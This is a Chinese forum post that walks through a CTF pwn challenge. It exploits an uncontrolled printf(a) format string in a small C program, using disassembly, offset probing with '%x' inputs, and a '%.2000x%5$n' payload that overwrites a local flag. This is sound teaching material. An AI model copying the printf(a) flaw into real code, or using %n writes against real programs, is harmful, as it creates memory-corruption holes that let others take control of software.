某道 Pwn(格式化字符串漏洞)

本贴最后更新于 2722 天前,其中的信息可能已经天翻地覆

格式化字符串漏洞近几年出现频率少了,但是一些 CTF 中还有涉及,就当玩玩好了。

首先看这一段代码,什么比赛的题我忘了:

#include <stdio.h>
int main(void)
{ 
	int flag = 0;
	int *p = &flag; 
	char a[100];
	scanf("%s",a);
	printf(a);
	if(flag == 2000)
	{
		printf("good!!\n");
	}

    return 0;
}

目标是拿到 Flag。我们使用 GCC 编译之后用 ObjDump 反编译:

 8048507:	c7 45 88 00 00 00 00 	movl   $0x0,-0x78(%ebp) ;flag
 804850e:	8d 45 88             	lea    -0x78(%ebp),%eax
 8048511:	89 45 8c             	mov    %eax,-0x74(%ebp) ;p
 8048514:	83 ec 08             	sub    $0x8,%esp
 8048517:	8d 45 90             	lea    -0x70(%ebp),%eax ;a
 804851a:	50                   	push   %eax
 804851b:	68 f0 85 04 08       	push   $0x80485f0
 8048520:	e8 bb fe ff ff       	call   80483e0 <__isoc99_scanf@plt>
 8048525:	83 c4 10             	add    $0x10,%esp

我们可以看到 pflag 下面四个偏移,a 又在 p 下面四个偏移,用缓冲区溢出是不可能了。下面有个 printf,也许可以利用字符串格式化漏洞。

继续往下看汇编:

 8048528:	83 ec 0c             	sub    $0xc,%esp
 804852b:	8d 45 90             	lea    -0x70(%ebp),%eax
 804852e:	50                   	push   %eax
 804852f:	e8 5c fe ff ff       	call   8048390 <printf@plt>
 8048534:	83 c4 10             	add    $0x10,%esp

我们可以看到 printf 总共接受了 4 个参数,实际上只有一个有效参数。

我们可以使用 AAAA%x 来寻找 a 的偏移:

wizard@ubuntu:~/Desktop$ ./t2
AAAA%x
AAAAffee9b78wizard@ubuntu:~/Desktop$ ./t2
AAAA%2$x
AAAAf767e329wizard@ubuntu:~/Desktop$ ./t2
AAAA%4$x
AAAA0wizard@ubuntu:~/Desktop$ ./t2
AAAA%5$x
AAAAfff44cd0wizard@ubuntu:~/Desktop$
AAAA%6$x
AAAA41414141 

我们看到了一个 0 ,又看到了一个很像地址的东西。然后就是我们输入的 AAAA。我们于是可以断定,第四个 %xflag,第五个 %xp,第六个 %xa 的起始位置。

再试一下,发现栈基址是变化的:

wizard@ubuntu:~/Desktop$ ./t2
AAAA%5$x
AAAAffad7a70

也就是说,我们不能把 f 的地址写进 a 的前四个字节,但是我们可以利用 p。构造字符串 "%.2000%x%5$n"

ffe43b880wizard@ubuntu:~/Desktop$ ./t2
%.2000x%5$n
...
0000000000000000000000000000000000000ffce9f98good!!

成功。

相关帖子

欢迎来到这里!

我们正在构建一个小众社区,大家在这里相互信任,以平等 • 自由 • 奔放的价值观进行分享交流。最终,希望大家能够找到与自己志同道合的伙伴,共同成长。

注册 关于
请输入回帖内容 ...
  • 88250

    估计把 asm 标识去掉就好了

  • 其他回帖
  • wizardforcel
    作者

    所以为什么 ASM 的代码段这么难看 @88250

    1 回复
  • anarkh

    小白求问 printf(a)编译会报 format string is not a string literal 错误怎么解决啊

推荐标签 标签

  • OnlyOffice
    4 引用 • 24 关注
  • DNSPod

    DNSPod 建立于 2006 年 3 月份,是一款免费智能 DNS 产品。 DNSPod 可以为同时有电信、网通、教育网服务器的网站提供智能的解析,让电信用户访问电信的服务器,网通的用户访问网通的服务器,教育网的用户访问教育网的服务器,达到互联互通的效果。

    6 引用 • 26 回帖 • 518 关注
  • Chrome

    Chrome 又称 Google 浏览器,是一个由谷歌公司开发的网页浏览器。该浏览器是基于其他开源软件所编写,包括 WebKit,目标是提升稳定性、速度和安全性,并创造出简单且有效率的使用者界面。

    60 引用 • 287 回帖
  • Markdown

    Markdown 是一种轻量级标记语言,用户可使用纯文本编辑器来排版文档,最终通过 Markdown 引擎将文档转换为所需格式(比如 HTML、PDF 等)。

    165 引用 • 1468 回帖 • 1 关注
  • WebSocket

    WebSocket 是 HTML5 中定义的一种新协议,它实现了浏览器与服务器之间的全双工通信(full-duplex)。

    48 引用 • 206 回帖 • 384 关注
  • 京东

    京东是中国最大的自营式电商企业,2015 年第一季度在中国自营式 B2C 电商市场的占有率为 56.3%。2014 年 5 月,京东在美国纳斯达克证券交易所正式挂牌上市(股票代码:JD),是中国第一个成功赴美上市的大型综合型电商平台,与腾讯、百度等中国互联网巨头共同跻身全球前十大互联网公司排行榜。

    14 引用 • 102 回帖 • 402 关注
  • Love2D

    Love2D 是一个开源的, 跨平台的 2D 游戏引擎。使用纯 Lua 脚本来进行游戏开发。目前支持的平台有 Windows, Mac OS X, Linux, Android 和 iOS。

    14 引用 • 53 回帖 • 517 关注
  • Jenkins

    Jenkins 是一套开源的持续集成工具。它提供了非常丰富的插件,让构建、部署、自动化集成项目变得简单易用。

    51 引用 • 37 回帖
  • 分享

    有什么新发现就分享给大家吧!

    244 引用 • 1762 回帖
  • 正则表达式

    正则表达式(Regular Expression)使用单个字符串来描述、匹配一系列遵循某个句法规则的字符串。

    31 引用 • 94 回帖
  • Windows

    Microsoft Windows 是美国微软公司研发的一套操作系统,它问世于 1985 年,起初仅仅是 Microsoft-DOS 模拟环境,后续的系统版本由于微软不断的更新升级,不但易用,也慢慢的成为家家户户人们最喜爱的操作系统。

    215 引用 • 463 回帖
  • Ruby

    Ruby 是一种开源的面向对象程序设计的服务器端脚本语言,在 20 世纪 90 年代中期由日本的松本行弘(まつもとゆきひろ/Yukihiro Matsumoto)设计并开发。在 Ruby 社区,松本也被称为马茨(Matz)。

    7 引用 • 31 回帖 • 188 关注
  • 又拍云

    又拍云是国内领先的 CDN 服务提供商,国家工信部认证通过的“可信云”,乌云众测平台认证的“安全云”,为移动时代的创业者提供新一代的 CDN 加速服务。

    21 引用 • 37 回帖 • 517 关注
  • C++

    C++ 是在 C 语言的基础上开发的一种通用编程语言,应用广泛。C++ 支持多种编程范式,面向对象编程、泛型编程和过程化编程。

    106 引用 • 152 回帖
  • InfluxDB

    InfluxDB 是一个开源的没有外部依赖的时间序列数据库。适用于记录度量,事件及实时分析。

    2 引用 • 65 关注
  • 阿里云

    阿里云是阿里巴巴集团旗下公司,是全球领先的云计算及人工智能科技公司。提供云服务器、云数据库、云安全等云计算服务,以及大数据、人工智能服务、精准定制基于场景的行业解决方案。

    89 引用 • 345 回帖
  • 大数据

    大数据(big data)是指无法在一定时间范围内用常规软件工具进行捕捉、管理和处理的数据集合,是需要新处理模式才能具有更强的决策力、洞察发现力和流程优化能力的海量、高增长率和多样化的信息资产。

    89 引用 • 113 回帖 • 1 关注
  • RESTful

    一种软件架构设计风格而不是标准,提供了一组设计原则和约束条件,主要用于客户端和服务器交互类的软件。基于这个风格设计的软件可以更简洁,更有层次,更易于实现缓存等机制。

    30 引用 • 114 回帖 • 2 关注
  • TensorFlow

    TensorFlow 是一个采用数据流图(data flow graphs),用于数值计算的开源软件库。节点(Nodes)在图中表示数学操作,图中的线(edges)则表示在节点间相互联系的多维数据数组,即张量(tensor)。

    20 引用 • 19 回帖 • 4 关注
  • CloudFoundry

    Cloud Foundry 是 VMware 推出的业界第一个开源 PaaS 云平台,它支持多种框架、语言、运行时环境、云平台及应用服务,使开发人员能够在几秒钟内进行应用程序的部署和扩展,无需担心任何基础架构的问题。

    5 引用 • 18 回帖 • 158 关注
  • Kafka

    Kafka 是一种高吞吐量的分布式发布订阅消息系统,它可以处理消费者规模的网站中的所有动作流数据。 这种动作(网页浏览,搜索和其他用户的行动)是现代系统中许多功能的基础。 这些数据通常是由于吞吐量的要求而通过处理日志和日志聚合来解决。

    35 引用 • 35 回帖
  • 知乎

    知乎是网络问答社区,连接各行各业的用户。用户分享着彼此的知识、经验和见解,为中文互联网源源不断地提供多种多样的信息。

    10 引用 • 66 回帖 • 1 关注
  • Eclipse

    Eclipse 是一个开放源代码的、基于 Java 的可扩展开发平台。就其本身而言,它只是一个框架和一组服务,用于通过插件组件构建开发环境。

    75 引用 • 258 回帖 • 631 关注
  • 资讯

    资讯是用户因为及时地获得它并利用它而能够在相对短的时间内给自己带来价值的信息,资讯有时效性和地域性。

    53 引用 • 85 回帖 • 1 关注
  • 倾城之链
    23 引用 • 66 回帖 • 118 关注
  • 自由行
    6 关注
  • 持续集成

    持续集成(Continuous Integration)是一种软件开发实践,即团队开发成员经常集成他们的工作,通过每个成员每天至少集成一次,也就意味着每天可能会发生多次集成。每次集成都通过自动化的构建(包括编译,发布,自动化测试)来验证,从而尽早地发现集成错误。

    14 引用 • 7 回帖 • 3 关注